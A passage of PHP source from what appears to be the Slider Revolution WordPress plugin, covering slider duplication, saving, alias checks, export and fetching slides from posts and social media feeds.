if(isset($slide_id)){ $this->map[$slide_id] = $wpdb->insert_id; } } } //duplicate static slide if exists $slide = new RevSliderSlide(); $staticID = $slide->get_static_slide_id($this->id); $static_id = 0; if($staticID !== false){ $record = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES ." WHERE id = %s", $staticID), ARRAY_A); unset($record['id']); $record['slider_id'] = $slider_last_id; $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $record); $static_id = $wpdb->insert_id; } //update actions $slides = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", $slider_last_id), ARRAY_A); if($static_id > 0){ $slides_static = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES ." WHERE id = %s", $static_id), ARRAY_A); if(!empty($slides_static)) $slides[] = $slides_static; } if(!empty($slides)){ foreach($slides as $slide){ $c_slide = new RevSliderSlide(); $c_slide->init_by_data($slide); $layers = $c_slide->get_layers(); //change for WPML the parent IDs if necessary $parent_id = $this->get_val($c_slide, array('params', 'child', 'parentId'), false); if(!in_array($parent_id, array(false, ''), true) && isset($this->map[$parent_id])){ $create = array('params' => $this->get_val($c_slide, 'params', array())); $this->set_val($create, array('params', 'child', 'parentId'), $this->map[$parent_id]); $new_params = json_encode($create['params']); $new_params = (empty($new_params)) ? stripslashes(json_encode($create['params'])) : $new_params; $create['params'] = $new_params; $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $slide['id']) ); } $did_change = false; if(!empty($layers)){ foreach($layers as $key => $value){ $actions = $this->get_val($value, array('actions', 'action')); if(!empty($actions)){ foreach($actions as $a_k => $action){ $jtsval = $this->get_val($action, 'jump_to_slide'); if(isset($this->map[$jtsval])){ $this->set_val($layers, array($key, 'actions', 'action', $a_k, 'jump_to_slide'), $this->map[$jtsval]); $did_change = true; } } } } } if($did_change === true){ $create = array(); $my_layers = json_encode($layers); $create['layers'] = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers; if($slide['id'] == $static_id){ $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $create, array('id' => $static_id)); }else{ $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $slide['id'])); } } } } //change the javascript api ID to the correct one $c_slider = new RevSliderSliderImport(); $c_slider->init_by_id($slider_last_id); $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($c_slider); $c_slider->update_css_and_javascript_ids($old_slider_id, $slider_last_id, $this->map); $c_slider->update_color_ids($this->map); do_action('revslider_duplicate_slider', $slider_last_id, $old_slider_id, $slides, $this); return $slider_last_id; } /** * update the modal id and the alias in the layer actions **/ public function update_modal_ids($slider_ids, $slide_ids){ $slides = $this->get_slides(); if(empty($slides)) return; foreach($slides as $skey => $slide){ if(version_compare($slide->get_param('version', '1.0.0'), '6.0.0', '<')) continue; $layers = $slide->get_layers(); if(empty($layers)) continue; $change = false; foreach($layers as $lk => $layer){ $actions = $this->get_val($layer, array('actions', 'action'), array()); if(empty($actions)) continue; foreach($actions as $ak => $a){ if($this->get_val($a, 'action', '') !== 'open_modal') continue; $v = intval($this->get_val($a, 'openmodalId', 0)); //only openmodal is set (alias), openmodalId is not set! if(isset($slider_ids[$v])){ $slider_alias = $this->get_alias_by_id($slider_ids[$v]); $change = true; $this->set_val($layers, array($lk, 'actions', 'action', $ak, 'openmodalId'), $slider_ids[$v]); $this->set_val($layers, array($lk, 'actions', 'action', $ak, 'openmodal'), $slider_alias); $sv = $this->get_val($a, 'modalslide', 0); if($sv !== 0){ $_sv = intval(str_replace('rs-', '', $sv)); if($_sv > 0 && isset($slide_ids[$_sv])){ $this->set_val($layers, array($lk, 'actions', 'action', $ak, 'modalslide'), 'rs-'.$slide_ids[$_sv]); } } } } } if($change){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } /** * Check if an alias exists in database * @before: RevSliderSlider::isAliasExistsInDB(); */ public function check_alias($alias){ global $wpdb; $add = (!empty($this->id)) ? $wpdb->prepare(" AND id != %s AND `type` != 'template'", array($this->id)) : ''; $slider = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE alias = %s", $alias).$add, ARRAY_A); return !empty($slider); } /** * Create a blank Slider **/ public function create_blank_slider(){ global $wpdb; $title = 'Slider '; $alias = 'slider-'; $counter = 1; $new_alias = $alias.$counter; while($this->alias_exists($new_alias)){ $counter++; $new_alias = $alias.$counter; } $title .= $counter; //insert slider to database $slider_data = array( 'title' => $title, 'alias' => $new_alias, 'params' => json_encode(array(), JSON_FORCE_OBJECT), 'settings' => json_encode(array('version' => RS_REVISION), JSON_FORCE_OBJECT), 'type' => '' ); $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data); $slider_id = ($result) ? $wpdb->insert_id : false; return $slider_id; } /** * Save Slider Settings * @before: RevSliderSlider::createUpdateSliderFromOptions(); **/ public function save_slider($slider_id, $data){ global $wpdb; $params = $this->get_val($data, 'params'); $params = $this->json_decode_slashes($params); $settings = $this->get_val($data, 'settings'); $settings = $this->json_decode_slashes($settings); $settings['version'] = $this->get_val($params, 'version', $this->get_val($settings, 'version')); $title = sanitize_text_field($this->get_val($params, 'title')); $alias = sanitize_text_field($this->get_val($params, 'alias')); unset($params['title']); unset($params['alias']); $this->validate_not_empty($title, 'Title'); $this->validate_not_empty($alias, 'Alias'); //params css and js check if(!current_user_can('administrator') && apply_filters('revslider_restrict_role', true)){ //dont allow css and javascript from users other than administrator if(isset($params['codes']) && isset($params['codes']['css'])){ unset($params['codes']['css']); } if(isset($params['codes']) && isset($params['codes']['javascript'])){ unset($params['codes']['javascript']); } } if(!empty($slider_id)){ $this->init_by_id($slider_id); if(!current_user_can('administrator') && apply_filters('revslider_restrict_role', true)){ //check for js and css, add it to $params $params['codes'] = array(); $params['codes']['css'] = $this->get_param(array('codes', 'css'), ''); $params['codes']['javascript'] = $this->get_param(array('codes', 'javascript'), ''); } } if($this->check_alias($alias)){ $this->throw_error(__('A Slider with the given alias already exists', 'revslider')); } //insert slider to database $slider_data = array( 'title' => $title, 'alias' => $alias, 'params' => json_encode($params), 'settings' => json_encode($settings), 'type' => '' ); if(empty($slider_id)){ //create slider $result = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data); $slider_id = ($result) ? $wpdb->insert_id : false; }else{ //update slider $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $slider_data, array('id' => $slider_id)); } return $slider_id; } /** * update some params in the slider * @before: RevSliderSlider::updateParam(); */ public function update_params($update, $replace = false){ global $wpdb; $this->params = ($replace) ? $update : array_merge($this->params, $update); $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('params' => json_encode($this->params)), array('id' => $this->id)); } /** * update some settings in the slider * @before: RevSliderSlider::updateSetting() */ public function update_settings($update){ global $wpdb; $this->settings = array_merge($this->settings, $update); $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('settings' => json_encode($this->settings)), array('id' => $this->id)); } /** * get array of slides numbers by id's * RevSliderSlider::getSlidesNumbersByIDs(); */ public function get_slide_numbers_by_id($published = false){ $numbers = array(); $counter = 0; if(empty($this->slide)){ $this->get_slides($published); } if(empty($this->arr_slides)){ foreach($this->slides as $slide){ $counter++; $id = $slide->get_id(); $numbers[$id] = $counter; } } return $numbers; } /** * get sliders array - function don't belong to the object! * @before: RevSliderSlider::getArrSliders(); */ public function get_sliders($templates = false, $page = 0){ global $wpdb, $rs_do_init_action; $rs_do_init_action = false; $sliders = array(); $do_order = 'id'; $direction = 'ASC'; $page = intval($page); $type = ($templates === true) ? '' : " AND `type` != 'template'"; $limit = ''; if($page > 0){ $end = 50 * $page; $start = $end - 50; $limit = ' LIMIT '.$start.', '.$end; } $slider_data = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER." WHERE `type` != 'folder' ". $type ." ORDER BY %s %s".$limit, array($do_order, $direction)), ARRAY_A); //WHERE `type` = '' OR `type` IS NULL if(!empty($slider_data)){ foreach($slider_data as $data){ $slider = new RevSliderSlider(); $slider->init_by_data($data); if($templates === true){ if($slider->type != 'template') continue; }elseif($templates === false){ if($slider->type == 'template') continue; } $sliders[] = $slider; } } $rs_do_init_action = true; return $sliders; } /** * get sliders shortlist object */ public static function get_sliders_short_list(){ global $wpdb; return (object)$wpdb->get_results($wpdb->prepare("SELECT id, title, alias FROM " . $wpdb->prefix . RevSliderFront::TABLE_SLIDER . " WHERE `type` != 'folder' AND `type` != 'template' ORDER BY %s %s", array('id', 'ASC'))); } /** * get array of alias * @before: getAllSliderForAdminMenu() */ public function get_slider_for_admin_menu(){ global $rs_do_init_action; $rs_do_init_action = false; $sliders = $this->get_sliders(); $rs_do_init_action = true; $short = array(); if(!empty($sliders)){ foreach($sliders as $slider){ $id = $slider->get_id(); $short[$id] = array('title' => $slider->get_title(), 'alias' => $slider->get_alias()); } } return $short; } public function set_slides($slides){ $this->slides = array(); if(!empty($slides)){ foreach($slides as $slide){ $rslide = new RevSliderSlide(); $rslide->init_by_data($slide); $this->slides[] = $rslide; } } } /** * get slides from gallery * force from gallery - get the slide from the gallery only * before: RevSliderSlider::getSlides() and also RevSliderSlider::getSlidesFromGallery() */ public function get_slides($published = false, $allwpml = false, $first = false){ $cache_key = $this->get_wp_cache_key('get_slides_by_slider_id', array($this->id, $published, $allwpml, $first, $this->init_layer)); $this->slides = wp_cache_get($cache_key, self::CACHE_GROUP); if (false === $this->slides) { $slide = new RevSliderSlide(); $this->slides = $slide->get_slides_by_slider_id($this->id, $published, $allwpml, $first, $this->init_layer); wp_cache_set($cache_key, $this->slides, self::CACHE_GROUP); } return $this->slides; } /** * get slides for export * before: RevSliderSlider::getSlidesForExport() */ public function get_slides_for_export(){ $slides = $this->get_slides(false, true); $export = array(); if(!empty($slides)){ foreach($slides as $slide){ $export[] = array( 'id' => $slide->get_id(), 'params' => $slide->get_params_for_export(), 'slide_order' => $slide->get_order(), 'layers' => $slide->get_layers_for_export(), 'settings' => $slide->get_settings() ); } } return apply_filters('revslider_get_slides_for_export', apply_filters('revslider_getSlidesForExport', $export)); } /** * get static slide for export * before: RevSliderSlider::getStaticSlideForExport() */ public function get_static_slide_for_export(){ $static_slide = array(); $slide = new RevSliderSlide(); $static_id = $slide->get_static_slide_id($this->id); if($static_id !== false){ $slide->init_by_static_id($static_id); $params = $slide->get_params_for_export(); if(!isset($params['static'])) $params['static'] = array(); $params['static']['isstatic'] = true; $static_slide[] = array( 'params' => $slide->get_params_for_export(), 'slide_order' => $slide->get_order(), 'layers' => $slide->get_layers_for_export(), 'settings' => $slide->get_settings() ); } return apply_filters('revslider_getStaticSlideForExport', $static_slide); } /** * get array of sliders with slides, short, assoc. * @before: RevSliderSlider::getArrSlidersWithSlidesShort(); */ public function get_sliders_with_slides_short($filter = 'all'){ $output = array(); $sliders = $this->get_sliders_short(null, $filter); if(!empty($sliders)){ foreach($sliders as $sid => $slider_name){ $slider = new RevSliderSlider(); $slider->init_by_id($sid); $is_posts = $slider->is_posts(); if($filter == 'posts' && $is_posts == false) continue; //filter by gallery only if($filter == 'gallery' && $is_posts == true) continue; if($filter == 'template' && $is_posts == false) continue; //filter by template type $slides = $slider->get_slides_from_gallery_short(); if(!empty($slides)){ foreach($slides as $slide_id => $slide_name){ $output[$slide_id] = $slider_name.', '.$slide_name; } } } } return $output; } /** * get slide id and slide title from gallery * @before: RevSliderSlider::getArrSlidesFromGalleryShort() */ public function get_slides_from_gallery_short(){ $counter = 0; $output = array(); $slides = $this->get_slides(); if(!empty($slides)){ foreach($slides as $slide){ $id = $slide->get_id(); $name = 'Slide '.$counter; $title = $slide->get_param('title', ''); $output[$id] = (!empty($title)) ? $name.' - ('.$title.')' : $name; $counter++; } } return $output; } /** * get slides for output * one level only without children * @before: RevSliderSlider::getSlidesForOutput(); */ public function get_slides_for_output($published = false, $lang = 'all', $gal_ids = array()){ $parent_slides = $this->get_parent_slides($published, $gal_ids, $lang); if($lang == 'all' || $this->is_stream()) return $parent_slides; //$this->is_posts() || $slides = array(); if(!empty($parent_slides)){ foreach($parent_slides as $parent_slide){ $parent_lang = $parent_slide->get_param(array('child', 'language'), 'all'); if($parent_lang == $lang){ $slides[] = $parent_slide; } $added = false; $children = $parent_slide->get_children(); if(!empty($children)){ foreach($children as $child){ if($child->get_param(array('child', 'language'), 'all') == $lang){ $slides[] = $child; $added = true; break; } } } if($added == false && $parent_lang == 'all'){ $slides[] = $parent_slide; } } } return $slides; } /** * get the parent Slides if the Slide has any **/ public function get_parent_slides($published, $gal_ids, $lang){ $post = $this->is_posts(); $stream = $this->is_stream(); apply_filters('revslider_get_parent_slides_pre', $lang, $published, $gal_ids, $this); if($post){ $parent_slides = $this->get_slides_from_posts($published, $gal_ids, $lang); }elseif($stream !== false){ $parent_slides = $this->get_slides_from_stream($published); }else{ $parent_slides = $this->get_slides($published); } apply_filters('revslider_get_parent_slides_post', $parent_slides, $published, $gal_ids, $this); return $parent_slides; } /** * get array of slider id -> title * @before: RevSliderSlider::getArrSlidersShort(); */ public function get_sliders_short($exclude_id = null, $filter = 'all'){ $sliders = $this->get_sliders(); $short = array(); if(!empty($sliders)){ foreach($sliders as $slider){ $id = $slider->get_id(); $from_post = $slider->is_posts(); //filter by gallery only if($filter == 'posts' && $from_post == false) continue; if($filter == 'gallery' && $from_post == true) continue; if($filter == 'template' && $from_post == false) continue; //filter by template type if(!empty($exclude_id) && $exclude_id == $id) continue; //filter by except $short[$id] = $slider->get_title(); } } return $short; } /** * get the maximum order * @before: RevSliderSlider::getMaxOrder() */ public function get_max_order(){ global $wpdb; $record = $wpdb->get_row($wpdb->prepare("SELECT slide_order FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %d ORDER BY slide_order DESC LIMIT 0,1", $this->id), ARRAY_A); return (empty($record)) ? 0 : $this->get_val($record, 'slide_order'); } /** * get the slider type */ public function get_type(){ $type = 'gallery'; $is_stream = $this->is_stream(); if($this->is_posts() == true){ $type = (in_array($this->get_param('sourcetype', 'gallery'), array('woocommerce', 'woo'), true)) ? 'woocommerce' : 'posts'; if($this->is_specific_posts()) $type = 'specific_posts'; }elseif($is_stream !== false){ $type = (in_array($is_stream, array('facebook', 'twitter', 'instagram', 'flickr', 'youtube', 'vimeo'))) ? $is_stream : $type; } return $type; } /** * get the slider type before 60, needed for partial update proceess introduced in 6.0.0 * @since: 6.0.0 */ public function get_type_pre60(){ $type = 'gallery'; $is_stream = $this->is_stream_pre60(); if($this->is_posts_pre60() == true){ $type = ($this->get_param('source_type', 'gallery') == 'woocommerce') ? 'woocommerce' : 'posts'; if(in_array($this->get_param('sourcetype', 'gallery'), array('specific_posts', 'specific_post'), true)){ $type = 'specific_posts'; } }elseif($is_stream !== false){ $type = (in_array($is_stream, array('facebook', 'twitter', 'instagram', 'flickr', 'youtube', 'vimeo'))) ? $is_stream : $type; } return $type; } /** * copy slide from one Slider to the given Slider ID * @since: 5.0 * @before: RevSliderSlider::copySlideToSlider() */ public function copy_slide_to_slider($data){ global $wpdb; $slider_id = intval($this->get_val($data, 'slider_id')); $slide_id = intval($this->get_val($data, 'slide_id')); $add_to_slider = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE id = %s", $slider_id), ARRAY_A); //check if ID exists if(empty($add_to_slider)) return __('Slide could not be duplicated', 'revslider'); //get last slide in slider for the order $slide_order = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s ORDER BY slide_order DESC", $slider_id), ARRAY_A); $slide_to_copy = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %s", $slide_id), ARRAY_A); if(empty($slide_to_copy)) return __('Slide could not be duplicated', 'revslider'); unset($slide_to_copy['id']); //remove the ID of the Slide, as it will be a new Slide $slide_to_copy['slider_id'] = $slider_id; //set the new Slider ID to the Slide $slide_to_copy['slide_order'] = (empty($slide_order)) ? 1 : $this->get_val($slide_order, 'slide_order') + 1; //set the next slide order, to set slide to the end $response = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide_to_copy); if($response){ if($this->template_slider){ $sl = new RevSliderSlider(); $sl->init_by_id($slider_id); $params = $sl->get_params(); $params['pakps'] = true; $sl->update_params($params, true); } } if(isset($slide_id) && $response !== false){ $this->map[$slide_id] = $wpdb->insert_id; } return ($response === false) ? __('Slide could not be duplicated', 'revslider') : true; } /** * get slider' static slide * * @since: 6.4.6 * @return false | RevSliderSlide */ public function get_static_slide() { $slider_id = $this->get_id(); if (empty($slider_id)) return false; if ($this->_static_slide instanceof RevSliderSlide && $this->_static_slide->get_slider_id() == $slider_id) return $this->_static_slide; $slide = new RevSliderSlide(); $is_init = $slide->init_static_slide_by_slider_id($slider_id); if (!$is_init) return false; $this->_static_slide = $slide; return $this->_static_slide; } /** * get all used fonts in the current Slider * @since: 5.1.0 * @before: RevSliderSlider::getUsedFonts(); */ public function get_used_fonts($full = false){ $gf = array(); $sl = new RevSliderSlide(); $mslides = $this->get_slides(true); $static_slide = $this->get_static_slide(); if($static_slide !== false){ $mslides = array_merge($mslides, array($static_slide)); } if(!empty($mslides)){ foreach($mslides as $ms){ $mf = $ms->get_used_fonts($full); if(!empty($mf)){ foreach($mf as $mfk => $mfv){ if(!isset($gf[$mfk])){ $gf[$mfk] = $mfv; }else{ foreach($mfv['variants'] as $mfvk => $mfvv){ $gf[$mfk]['variants'][$mfvk] = true; } } $gf[$mfk]['slide'][] = array('id' => $ms->get_id(), 'title' => $ms->get_title()); } } } } return apply_filters('revslider_getUsedFonts', $gf); } /** * get slides from posts * @before: RevSliderSlider::getSlidesFromPosts(); */ public function get_slides_from_posts($published = false, $gal_ids = array(), $lang = 'all'){ $templates = $this->get_slides($published); $templates = $this->assoc_to_array($templates); if(count($templates) == 0) return array(); $source = (!empty($gal_ids)) ? 'specific_posts' : $this->get_param('sourcetype', 'gallery'); //change to specific posts, give the gal_ids to the list switch($source){ case 'posts': case 'post': $subtype = $this->get_param(array('source', 'post', 'subType'), 'post'); if($subtype === 'current_post'){ global $post; $posts = $this->get_specific_posts(array('', $post->ID)); }elseif(in_array($subtype, array('specific_posts', 'specific_post'), true)){ $posts = $this->get_specific_posts($gal_ids); }else{ //check where to get posts from switch($this->get_param(array('source', 'post', 'fetchType'), 'cat_type')){ case 'cat_tag': default: $posts = $this->get_posts_by_categories($published); break; case 'related': $posts = $this->get_related_posts(); break; case 'popular': $posts = $this->get_popular_posts(); break; case 'recent': $posts = $this->get_latest_posts(); break; case 'next_prev': $posts = $this->get_next_previous_post(); break; } } break; /*case 'current_post': global $post; $posts = $this->get_specific_posts(array('', $post->ID)); break; */ /* * This needed to be uncommented for WP Gallery AddOn compatibility */ case 'specific_posts': case 'specific_post': $posts = $this->get_specific_posts($gal_ids); break; case 'woocommerce': case 'woo': $posts = $this->get_products_from_categories($published); break; default: $this->throw_error(__('This Source Type must be from posts.', 'revslider')); break; } $slides = array(); $key = 0; $num_temp = count($templates); if(!empty($posts)){ foreach($posts as $post_data){ $found = false; if($lang !== 'all' && $this->get_val($templates[$key], array('params', 'child', 'language'), 'all') !== $lang){ $children = $templates[$key]->get_children(); if(!empty($children)){ foreach($children as $child){ if($this->get_val($child, array('params', 'child', 'language'), 'all') === $lang){ $template = clone $child; $found = true; break; } } } } if($found === false){ $template = clone $templates[$key]; } //advance the templates $key++; if($key == $num_temp){ $key = 0; $templates = $this->get_slides($published); //reset as clone did not work properly $templates = $this->assoc_to_array($templates); } $slide = new RevSliderSlide(); $slide->init_by_post_data($post_data, $template, $this->id); $slides[] = $slide; } } $this->slides = $slides; return $this->slides; } /** * get related posts from current one * @since: 5.1.1 * @before: RevSliderSlider::getPostsFromRelated(); */ public function get_related_posts(){ $my_posts = array(); $tags = ''; $post_id = get_the_ID(); $sort_by = $this->get_param(array('source', 'post', 'sortBy'), 'ID'); $source = $this->get_param('source'); $post = $this->get_val($source, 'post'); $max_posts = $this->get_val($post, 'maxPosts', 30); $max_posts = (empty($max_posts) || !is_numeric($max_posts)) ? -1 : $max_posts; $post_tags = get_the_tags(); if($post_tags){ foreach($post_tags as $post_tag){ $tags .= $post_tag->slug . ','; } } $query = array( 'numberposts' => $max_posts, 'exclude' => $post_id, 'order' => $this->get_param(array('source', 'post', 'sortDirection'), 'DESC'), 'tag' => $tags ); $tax_query = $this->get_tax_query(); if(!empty($tax_query)) $query['tax_query'] = $tax_query; if(strpos($sort_by, 'meta_num_') === 0){ $query['orderby'] = 'meta_value_num'; $query['meta_key'] = str_replace('meta_num_', '', $sort_by); }elseif(strpos($sort_by, 'meta_') === 0){ $query['orderby'] = 'meta_value'; $query['meta_key'] = str_replace('meta_', '', $sort_by); }else{ $query['orderby'] = $sort_by; } $get_relateds = apply_filters('revslider_get_related_posts', $query, $post_id); $tag_related_posts = get_posts($get_relateds); if(count($tag_related_posts) < $max_posts){ $ignore = array(); foreach($tag_related_posts as $tag_related_post){ $ignore[] = $tag_related_post->ID; } $article_categories = get_the_category($post_id); $category_string = ''; foreach($article_categories as $category){ $category_string .= $category->cat_ID . ','; } $max = $max_posts - count($tag_related_posts); $excl = implode(',', $ignore); $query = array( 'exclude' => $excl, 'numberposts' => $max, 'category' => $category_string ); if(strpos($sort_by, 'meta_num_') === 0){ $query['orderby'] = 'meta_value_num'; $query['meta_key'] = str_replace('meta_num_', '', $sort_by); }else if(strpos($sort_by, 'meta_') === 0){ $query['orderby'] = 'meta_value'; $query['meta_key'] = str_replace('meta_', '', $sort_by); }else{ $query['orderby'] = $sort_by; } $get_relateds = apply_filters('revslider_get_related_posts', $query, $post_id); $cat_related_posts = get_posts($get_relateds); $tag_related_posts = $tag_related_posts + $cat_related_posts; } foreach($tag_related_posts as $post){ $the_post = (method_exists($post, 'to_array')) ? $post->to_array() : (array)$post; if($the_post['ID'] == $post_id) continue; $my_posts[] = $the_post; } return $my_posts; } /** * get popular posts * @since: 5.1.1 * @before: RevSliderSlider::getPostsFromPopular(); * @moved: 6.1.3 */ public function get_popular_posts($max_posts = false){ $post_id = get_the_ID(); $my_posts = array(); if($max_posts == false){ $source = $this->get_param('source'); $post = $this->get_val($source, 'post'); $max_posts = $this->get_val($post, 'maxPosts', 30); $max_posts = (empty($max_posts) || !is_numeric($max_posts)) ? -1 : $max_posts; }else{ $max_posts = intval($max_posts); } $args = array( 'suppress_filters' => 0, 'posts_per_page' => $max_posts, 'post_type' => 'any', 'meta_key' => '_thumbnail_id', 'orderby' => 'comment_count', 'order' => 'DESC' ); $tax_query = $this->get_tax_query(); if(!empty($tax_query)) $args['tax_query'] = $tax_query; $args = apply_filters('revslider_get_popular_posts', $args, $post_id); $posts = get_posts($args); foreach($posts as $post){ $my_posts[] = (method_exists($post, 'to_array')) ? $post->to_array() : (array)$post; } return $my_posts; } /** * get recent posts * @since: 5.1.1 * @before: RevSliderSlider::getPostsFromRecent() * @moved: 6.1.3 */ public function get_latest_posts($max_posts = false){ $post_id = get_the_ID(); $my_posts = array(); $args = array( 'post_type' => 'any', 'suppress_filters' => 0, 'meta_key' => '_thumbnail_id', 'orderby' => 'date', 'order' => 'DESC' ); if($max_posts == false){ $source = $this->get_val($this->params, 'source'); $post = $this->get_val($source, 'post'); $max_posts = $this->get_val($post, 'maxPosts', 30); $max_posts = (empty($max_posts) || !is_numeric($max_posts)) ? -1 : $max_posts; }else{ $max_posts = intval($max_posts); } $args['posts_per_page'] = $max_posts; $tax_query = $this->get_tax_query(); if(!empty($tax_query)) $args['tax_query'] = $tax_query; $args = apply_filters('revslider_get_latest_posts', $args, $post_id); $posts = get_posts($args); if(!empty($posts)){ foreach($posts as $post){ $my_posts[] = (method_exists($post, 'to_array')) ? $post->to_array() : (array)$post; } } return $my_posts; } /** * get recent posts * @since: 5.1.1 * @before: RevSliderSlider::getPostsNextPrevious(); */ public function get_next_previous_post(){ $my_posts = array(); $startup_next_post = get_next_post(); if (!empty($startup_next_post)){ $my_posts[] = (method_exists($startup_next_post, 'to_array')) ? $startup_next_post->to_array() : (array)$startup_next_post; } $startup_previous_post = get_previous_post(); if (!empty($startup_previous_post)){ $my_posts[] =(method_exists($startup_previous_post, 'to_array')) ? $startup_previous_post->to_array() : (array)$startup_previous_post; } return $my_posts; } public function get_tax_query(){ $cat_ids = $this->get_param(array('source', 'post', 'category')); $data = $this->get_tax_by_cat_id($cat_ids); $tax_query = false; if(isset($data['tax']) && isset($data['tax']) && !empty($data['tax']) && !empty($data['cats'])){ $cat_id = (strpos($data['cats'], ',') !== false) ? explode(',', $data['cats']) : array($data['cats']); $tax_query = array('relation' => 'OR'); //add taxomonies to the query $taxonomies = (strpos($data['tax'], ',') !== false) ? explode(',', $data['tax']) : array($data['tax']); foreach($taxonomies as $taxomony){ $tax_query[] = array( 'taxonomy' => $taxomony, 'field' => 'id', 'terms' => $cat_id ); } } return $tax_query; } /** * get slides from posts * @before: RevSliderSlider::getSlidesFromStream(); */ public function get_slides_from_stream($published = false){ $templates = $this->get_slides($published); $templates = $this->assoc_to_array($templates); if(count($templates) == 0) return array(); $posts = array(); $_slides = array(); $max_allowed = 999999; $sourcetype = $this->get_param('sourcetype', 'gallery'); $additions = array(); $max_posts = 0; switch($sourcetype){ case 'facebook': $facebook = RevSliderGlobals::instance()->get('RevSliderFacebook'); $facebook->setTransientSec($this->get_param(array('source', 'facebook', 'transient'), '1200')); if($this->get_param(array('source', 'facebook', 'typeSource'), 'timeline') == 'album'){ $posts = $facebook->get_photo_set_photos( $this->id, $this->get_param(array('source', 'facebook', 'appId')), $this->get_param(array('source', 'facebook', 'album')), $this->get_param(array('source', 'facebook', 'count'), 8) ); $additions['fb_type'] = 'album'; }else{ $posts = $facebook->get_photo_feed( $this->id, $this->get_param(array('source', 'facebook', 'appId')), $this->get_param(array('source', 'facebook', 'page_id')), $this->get_param(array('source', 'facebook', 'count'), 8) ); $additions['fb_type'] = 'timeline'; } $max_posts = $this->get_param(array('source', 'facebook', 'count'), '25'); $max_allowed = 25; break; case 'twitter': $twitter = new RevSliderTwitter($this->get_param(array('source', 'twitter', 'consumerKey')), $this->get_param(array('source', 'twitter', 'consumerSecret')), $this->get_param(array('source', 'twitter', 'accessToken')), $this->get_param(array('source', 'twitter', 'accessSecret')), $this->get_param(array('source', 'twitter', 'transient'), '1200')); $posts = $twitter->get_public_photos($this->get_param(array('source', 'twitter', 'userId')), $this->get_param(array('source', 'twitter', 'includeRetweets')), $this->get_param(array('source', 'twitter', 'excludeReplies')), $this->get_param(array('source', 'twitter', 'count'), '500'), $this->get_param(array('source', 'twitter', 'imageOnly'))); $max_posts = $this->get_param(array('source', 'twitter', 'count'), '500'); $max_allowed = 500; $additions['twitter_user'] = $this->get_param(array('source', 'twitter', 'userId')); break; case 'instagram': $instagram = RevSliderGlobals::instance()->get('RevSliderInstagram'); $instagram->setTransientSec($this->get_param(array('source', 'instagram', 'transient'), '1200')); $posts = $instagram->get_public_photos($this->get_id(), $this->get_param(array('source', 'instagram', 'token')), $this->get_param(array('source', 'instagram', 'count'), '33')); $max_posts = $this->get_param(array('source', 'instagram', 'count'), '33'); $profile = $instagram->get_user_profile($this->get_param(array('source', 'instagram', 'token'))); $additions['instagram_user'] = isset($profile['username']) ? $profile['username'] : ''; $max_allowed = 33; break; case 'flickr': $flickr = new RevSliderFlickr($this->get_param(array('source', 'flickr', 'apiKey')), $this->get_param(array('source', 'flickr', 'transient'), '1200')); switch($this->get_param(array('source', 'flickr', 'type'))){ case 'publicphotos': $user_id = $flickr->get_user_from_url($this->get_param(array('source', 'flickr', 'userURL'))); $posts = $flickr->get_public_photos($user_id, $this->get_param(array('source', 'flickr', 'count'))); break; case 'gallery': $gallery_id = $flickr->get_gallery_from_url($this->get_param(array('source', 'flickr', 'galleryURL'))); $posts = $flickr->get_gallery_photos($gallery_id, $this->get_param(array('source', 'flickr', 'count'))); break; case 'group': $group_id = $flickr->get_group_from_url($this->get_param(array('source', 'flickr', 'groupURL'))); $posts = $flickr->get_group_photos($group_id, $this->get_param(array('source', 'flickr', 'count'))); break; case 'photosets': $posts = $flickr->get_photo_set_photos($this->get_param(array('source', 'flickr', 'photoSet')), $this->get_param(array('source', 'flickr', 'count'))); break; } $max_posts = $this->get_param(array('source', 'flickr', 'count'), '99'); break; case 'youtube': $channel_id = $this->get_param(array('source', 'youtube', 'channelId')); $youtube = new RevSliderYoutube($this->get_param(array('source', 'youtube', 'api')), $channel_id, $this->get_param(array('source', 'youtube', 'transient'), '1200')); if($this->get_param(array('source', 'youtube', 'typeSource')) == 'playlist'){ $posts = $youtube->show_playlist_videos($this->get_param(array('source', 'youtube', 'playList')), $this->get_param(array('source', 'youtube', 'count'))); }else{ $posts = $youtube->show_channel_videos($this->get_param(array('source', 'youtube', 'count'))); } $additions['yt_type'] = $this->get_param(array('source', 'youtube', 'typeSource'), 'channel'); $max_posts = $this->get_param(array('source', 'youtube', 'count'), '25'); $max_allowed = 50; break; case 'vimeo': $vimeo = new RevSliderVimeo($this->get_param(array('source', 'vimeo', 'transient'), '1200')); $vimeo_type = $this->get_param(array('source', 'vimeo', 'typeSource')); $max_posts = $this->get_param(array('source', 'vimeo', 'count'), '25'); $max_allowed = 